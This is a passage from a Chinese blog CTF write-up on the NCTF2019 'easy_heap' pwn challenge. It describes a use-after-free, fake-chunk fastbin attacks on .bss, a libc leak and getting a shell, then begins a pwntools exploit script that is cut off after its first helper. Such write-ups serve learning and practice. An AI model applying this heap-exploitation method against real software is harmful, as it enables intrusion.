【Pwn】NCTF2019 easy_heap

最新推荐文章于 2024-01-25 22:37:14 发布

不干正事的拖延症患者

最新推荐文章于 2024-01-25 22:37:14 发布

阅读量575

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/github_36788573/article/details/103316220

版权

该博客详细分析了NCTF2019 easy_heap挑战中的堆溢出漏洞，指出在free后指针未清零导致的Use-After-Free（UAF）问题。由于程序对堆分配大小有限制，通过在BSS段伪造堆块并利用fastbin attack，可以突破限制，进一步泄露libc地址。然后，通过第二次fastbin attack实现获取shell的目标。

摘要由CSDN通过智能技术生成

查看程序保护。
在这里插入图片描述分析程序，漏洞在free之后指针没置0，导致uaf；堆的分配大小做了限制0x50该变量在bss段上，刚好bss段上存放了用户名信息，所以先考虑在bss上伪造堆块，进行一次fastbinattack，分配到bss段，修改限制大小，去掉限制之后就是常规操作了，unsortbin泄露libc，再进行一次fastbinattack，getshell。

from pwn import *

io=remote('xx.xx.xx.xx',xxxxx)
libc=ELF('./libc-2.23.so')

def add(size,data):
    io.recvuntil('4. exit\n')
    io.sendline('1')
    io.recvuntil('heap_size?')
    io.sendline(str(size))
    io.recvuntil('heap_content?')
    io.send(data)

def free